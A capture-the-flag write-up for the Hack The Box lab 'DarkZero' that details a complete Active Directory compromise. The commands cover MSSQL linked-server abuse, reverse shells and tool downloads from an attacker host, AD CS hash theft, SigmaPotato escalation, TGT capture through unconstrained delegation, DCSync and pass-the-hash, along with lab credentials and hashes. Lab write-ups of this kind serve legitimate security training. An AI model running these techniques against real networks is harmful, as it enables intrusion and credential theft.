DarkZero WriteUp
Table of Contents
DarkZero is a π₯ Hard difficulty machine on the Hack The Box platform that simulates an enterprise Active Directory environment with two separate domains, multihoming, and advanced attack vectors. The ultimate goal is to fully compromise both Domain Controllers.
At the start, we are given initial credentials: π john.w:RFulUtONCOL!
πΊοΈ Attack Chain
Before diving into the details, here is the full attack chain at a glance:
john.w credentials
β
βΌ
MSSQL DC01 (guest) ββlinked serverβββΊ MSSQL DC02 (sysadmin)
β
βΌ
xp_cmdshell βΊ Shell as svc_sql on DC02 (172.16.20.2)
β
βΌ
Ligolo-MP βΊ Access to internal network 172.16.20.0/24
β
βΌ
AD CS (Certify) βΊ NTLM hash of svc_sql βΊ Password change
β
βΌ
RunasCs (LogonType 5) βΊ SeImpersonatePrivilege
β
βΌ
SigmaPotato βΊ NT AUTHORITY\SYSTEM on DC02
β
βΌ
Rubeus monitor + xp_dirtree βΊ DC01$ TGT
β
βΌ
Pass-the-Ticket βΊ secretsdump βΊ DC01 Administrator hash
β
βΌ
evil-winrm βΊ Administrator on DC01 π΄
π Reconnaissance
Port Scanning
We perform reconnaissance in two phases: first we quickly discover open ports, then we run detection scripts against them.
Phase 1 β Fast TCP port discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv darkzero.htb
Phase 2 β UDP scan of the top 200 ports:
sudo nmap -sU --top-ports 200 -Pn --open --min-rate 1000 -oA udp -vvv darkzero.htb
Phase 3 β Version detection and scripts on the discovered ports:
# Extract ports from the gnmap file
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
# Run the full scan
sudo nmap -sCV -p$(cat ports.txt) -Pn -O --script vuln,default -oA scan -vvv darkzero.htb
# Export results to HTML (optional, very useful for reports)
xsltproc -o nmap.html ~/.nmap/nmap-bootstrap.xsl scan.xml
π‘ Tip: Splitting the scan into phases saves a lot of time. The fast discovery with
--min-rate 5000takes seconds, and then we only run the heavy scan against the ports that are actually open.
The most relevant ports we found:
| Port | Service | Detail |
|---|---|---|
53 | DNS | Simple DNS Plus |
88 | Kerberos | Domain Controller confirmed |
389/636 | LDAP/LDAPS | Domain darkzero.htb |
1433 | MSSQL | Microsoft SQL Server 2022 |
5985 | WinRM | Remote PowerShell access |
Credential Validation and Hosts File Generation
We verify the credentials are valid and automatically generate the entries for /etc/hosts:
# Validate credentials
netexec smb darkzero.htb -u 'john.w' -p 'RFulUtONCOL!'
# Auto-generate hosts file
netexec smb darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' --generate-hosts-file hosts_file
# Append to /etc/hosts in sorted order
{ echo -e "\n# DarkZero Machine"; sort -V hosts_file; } | sudo tee -a /etc/hosts
π DNS Enumeration β Split-Horizon DNS
This is the most important finding in the reconnaissance phase. We query DC01’s DNS server for all records of the domain:
dig @dc01.darkzero.htb ANY darkzero.htb
;; ANSWER SECTION:
darkzero.htb. 600 IN A 172.16.20.1 β INTERNAL network
darkzero.htb. 600 IN A 10.129.13.169 β External network (ours)
darkzero.htb. 3600 IN NS dc01.darkzero.htb.
β οΈ Split-Horizon DNS / Multihoming detected: The response returns TWO A records for
darkzero.htb. The IP10.129.13.169is reachable from our network, but172.16.20.1is only reachable from the internal network. This confirms that DC01 is multihomed and that a second subnet172.16.20.0/24exists whereDC02.darkzero.extlives. We will need pivoting to get there.
π Initial Access β MSSQL Linked Server Abuse
Connecting to DC01’s MSSQL
On port 1433 we find a Microsoft SQL Server 2022. We connect using john.w’s credentials:
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@dc01.darkzero.htb' -windows-auth
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
SQL (darkzero\john.w guest@master)>
We are guest on DC01 β not enough privileges to enable xp_cmdshell directly. However, enumerating the configured linked servers:
SQL> enum_links
SRV_NAME SRV_DATASOURCE Local Login Remote Login
----------------- ----------------- --------------- ------------
DC02.darkzero.ext DC02.darkzero.ext darkzero\john.w dc01_sql_svc
π DC01 has a linked server configured pointing to
DC02.darkzero.ext. Our userjohn.wmaps to the logindc01_sql_svcon DC02. We verify whether that login issysadmin:
SQL> EXEC('SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [DC02.darkzero.ext]
- -
1 1 β We are sysadmin on DC02!
Enabling xp_cmdshell on DC02 via Linked Server
We leverage dc01_sql_svc’s privileges to enable OS command execution:
-- Enable advanced options
SQL> EXEC('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]
-- Enable xp_cmdshell
SQL> EXEC('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]
-- Verify RCE
SQL> EXEC('EXEC xp_cmdshell ''whoami''') AT [DC02.darkzero.ext]
output
--------------------
darkzero-ext\svc_sql
β RCE confirmed on DC02 as
darkzero-ext\svc_sql.
π Reverse Shell to DC02
We start our HTTP server with goshs and a listener with penelope:
# HTTP server to serve files
goshs -d ~/http -p 80 -i 0.0.0.0
# Listener for the reverse shell
penelope -p 8443
We generate a PowerShell payload on revshell.com
(PowerShell Base64) and execute it via xp_cmdshell:
SQL> EXEC('EXEC xp_cmdshell ''powershell -e <BASE64_PAYLOAD>''') AT [DC02.darkzero.ext]
β Shell obtained on DC02 (
172.16.20.2). We are inside the internal network172.16.20.0/24.
PS C:\Windows\system32> whoami
darkzero-ext\svc_sql
PS C:\Windows\system32> hostname
DC02
PS C:\Windows\system32> ipconfig
IPv4 Address: 172.16.20.2
Subnet Mask: 255.255.255.0
Default Gateway: 172.16.20.1
π Pivoting with Ligolo-MP
To be able to reach the 172.16.20.0/24 network with all our local tools (certipy, impacket, etc.) we set up a tunnel using Ligolo-MP. It is more stable and versatile than a simple SOCKS proxy.
On the attacker β Start the server:
sudo nano /etc/systemd/system/ligolomp.service
sudo systemctl start ligolomp.service
ligolomp_client
On DC02 β Download and run the agent:
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/ligolomp.exe' -OutFile 'C:\Windows\Temp\ligolomp.exe'; Start-Process -NoNewWindow -FilePath 'C:\Windows\Temp\ligolomp.exe'"
In the Ligolo-MP console β Start the relay and add the route to the internal network 172.16.20.0/24.
β From this point on, our attacker machine can reach
172.16.20.2directly. Essential for the next steps.
π§ββοΈ Privilege Escalation on DC02
Step 1 β AD CS with Certify: Obtain svc_sql’s NTLM Hash
We upload Certify.exe and search for vulnerable certificate templates:
# Upload Certify.exe
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/Certify.exe' -OutFile 'C:\Windows\Temp\Certify.exe'"
# Look for vulnerabilities
C:\Windows\Temp\Certify.exe find /vulnerable
Although find /vulnerable does not show directly exploitable templates (no ESC1, ESC2, etc.), we can request a certificate for the current user using the standard User template:
C:\Windows\Temp\Certify.exe request /ca:DC02\darkzero-ext-DC02-CA /template:User
[*] Current user context : darkzero-ext\svc_sql
[*] Template : User
[*] CA Response : The certificate had been issued.
-----BEGIN RSA PRIVATE KEY-----
MIIEog[...]qRg==
-----END CERTIFICATE-----
We copy the entire block from -----BEGIN RSA PRIVATE KEY----- to -----END CERTIFICATE----- and save it as cert.pem on our machine.
Convert to PFX format:
# Leave the password empty (press Enter)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out /tmp/cert.pfx
Sync time with DC02 (critical for Kerberos) and authenticate with the certificate:
# Add DC02 to /etc/hosts
netexec smb 172.16.20.2 --generate-hosts-file hosts_file_ext
{ echo -e "\n# DarkZero Machine"; sort -V hosts_file_ext; } | sudo tee -a /etc/hosts
# Sync time β VERY IMPORTANT, Kerberos fails with more than 5 min skew
ntpdate 172.16.20.2
# Authenticate with the certificate and retrieve the NTLM hash
certipy-ad auth -pfx cert.pfx -u svc_sql -dc-ip 172.16.20.2
[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f
π― NTLM hash for
svc_sqlobtained:816ccb849956b531db139346751db65f
Step 2 β Change svc_sql’s Password
With the NTLM hash we can change the password without knowing the original using impacket-changepasswd:
impacket-changepasswd svc_sql@darkzero.ext -hashes ':816ccb849956b531db139346751db65f' -newpass '1Qwerty!' -dc-ip 172.16.20.2
β
svc_sqlpassword changed to1Qwerty!
Step 3 β Service Logon (LogonType 5) with RunasCs: Obtain SeImpersonatePrivilege
β Why do we need this?
Our current shell is a Network Logon (LogonType 3). This logon type generates a restricted token that does not include
SeImpersonatePrivilege, even if the account has it assigned in the local security policy.To obtain the privilege we need a Service Logon (LogonType 5), which is the type of token Windows creates when the SCM (Service Control Manager) starts a service. This token includes all the account’s privileges, including
SeImpersonatePrivilegeassigned to theNT AUTHORITY\SERVICEgroup.
We use RunasCs.exe with the -l 5 flag to force the correct logon type:
# Upload RunasCs
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/RunasCs.exe' -OutFile 'C:\Windows\Temp\RunasCs.exe'"
# Listener on the attacker
penelope -p 8444
# Force Service Logon (LogonType 5) β -l 5 is the key
C:\Windows\Temp\RunasCs.exe svc_sql '1Qwerty!' powershell -l 5 -b -r 10.10.15.223:8444
In the new shell we verify:
whoami /priv
Privilege Name Description State
============================= ======================================== ========
SeImpersonatePrivilege Impersonate a client after authentication Enabled β
β
SeImpersonatePrivilegeactive. Ready for the Potato attack.
Step 4 β SigmaPotato: Escalate to SYSTEM
With SeImpersonatePrivilege enabled, we use SigmaPotato to impersonate the NT AUTHORITY\SYSTEM token and change the local Administrator’s password:
# Upload SigmaPotato
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/SigmaPotato.exe' -OutFile 'C:\Windows\Temp\SigmaPotato.exe'"
# Change the Administrator password as SYSTEM
C:\Windows\Temp\SigmaPotato.exe 'net user Administrator 1Qwerty!'
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE
[+] Found System Token: True
[+] Creating Process via 'CreateProcessWithTokenW'
[+] Process Output:
The command completed successfully.
Now we connect as Administrator:
# Listener on attacker
penelope -p 8445
# Shell as Administrator
C:\Windows\Temp\RunasCs.exe administrator '1Qwerty!' powershell -r 10.10.15.223:8445
π© User Flag (DC02)
type c:\Users\Administrator\Desktop\user.txt
π Lateral Movement to DC01 β Unconstrained Delegation
With DC02 fully compromised, we need to reach DC01 (10.10.11.89). Standard post-exploitation tools (WinPEAS, etc.) reveal no direct attack paths, so we analyse the Kerberos delegation configuration.
What is Unconstrained Delegation?
π§ Key concept: When a machine has
TrustedForDelegation = True, the KDC includes a copy of the client’s TGT inside the TGS it delivers to the service. In other words, if DC01 authenticates against DC02 (which has Unconstrained Delegation), DC02 receives DC01’s TGT β and we can capture it.
We confirm that DC02 has Unconstrained Delegation via PowerShell:
Get-ADComputer -Identity $env:COMPUTERNAME -Properties TrustedForDelegation,TrustedToAuthForDelegation
TrustedForDelegation : True β
TrustedToAuthForDelegation : False
Step 1 β Monitor Tickets with Rubeus
We upload Rubeus to DC02 and put it in monitor mode. Rubeus will detect any new TGT that arrives on the system:
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/Rubeus.exe' -OutFile 'C:\Windows\Temp\Rubeus.exe'"
C:\Windows\Temp\Rubeus.exe monitor /interval:1 /nowrap
Step 2 β Force DC01 to Authenticate to DC02 with xp_dirtree
From a new terminal, we open an MSSQL session on DC01 and run xp_dirtree pointing to a non-existent share on DC02:
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!'@DC01.darkzero.htb -windows-auth
xp_dirtree \\DC02.darkzero.ext\notexists
π‘ Why does this work?
xp_dirtreeforces DC01’s SQL Server process to make an SMB connection to DC02. For that connection, the process requests a TGS forcifs/DC02from the KDC. Since DC02 has Unconstrained Delegation, the KDC includes DC01$’s TGT inside that TGS. Rubeus, running on DC02, detects and displays it.
Rubeus captures the ticket:
[*] Found new TGT:
User : DC01$@DARKZERO.HTB
StartTime : 3/20/2026 5:34:10 PM
EndTime : 3/21/2026 3:34:10 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket:
doIFjDCCBYigAwIBBaED...
Step 3 β Pass-the-Ticket and DCSync
We save the Base64 output to a file and process it:
# Decode the ticket
cat ticket.b64 | base64 -d > ticket.kirbi
# Convert to ccache format (for impacket)
impacket-ticketConverter ticket.kirbi dc01_administrator.ccache
# Export the ticket so Kerberos tools can use it
export KRB5CCNAME=dc01_administrator.ccache
# Verify the ticket is correctly loaded
klist
# Sync time with DC01 β essential
ntpdate 10.129.13.244
With DC01$’s TGT (the Domain Controller’s machine account), we have domain replication rights. We perform a DCSync to dump all NTLM hashes:
impacket-secretsdump -k -no-pass 'darkzero.htb/DC01$@DC01.darkzero.htb'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7:::
john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a:::
π― Administrator NTLM hash:
5917507bdf2ef2c2b0a869a1cba40726
Step 4 β Final Access to DC01
With the Administrator’s hash we perform a Pass-the-Hash via WinRM:
evil-winrm -i dc01.darkzero.htb -u administrator -H 5917507bdf2ef2c2b0a869a1cba40726
π΄ Root Flag (DC01)
type C:\Users\Administrator\Desktop\root.txt
π Attack Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap, netexec, dig | Split-horizon DNS β network 172.16.20.0/24 |
| 2 | MSSQL Linked Server Abuse | impacket-mssqlclient | xp_cmdshell on DC02 as svc_sql |
| 3 | Reverse Shell | PowerShell Base64 | Shell on DC02 |
| 4 | Pivoting | Ligolo-MP | Full access to network 172.16.20.0/24 |
| 5 | AD CS Certificate Request | Certify.exe, certipy-ad | svc_sql NTLM hash |
| 6 | Password Change | impacket-changepasswd | Full control of svc_sql |
| 7 | Service Logon (LogonType 5) | RunasCs.exe -l 5 | SeImpersonatePrivilege |
| 8 | Token Impersonation | SigmaPotato.exe | NT AUTHORITY\SYSTEM on DC02 |
| 9 | Unconstrained Delegation + Rubeus | Rubeus monitor, xp_dirtree | DC01$ TGT captured |
| 10 | Pass-the-Ticket + DCSync | impacket-secretsdump | Administrator NTLM hash |
| 11 | Pass-the-Hash | evil-winrm | Shell as Administrator on DC01 π΄ |
See you in the next challenge.
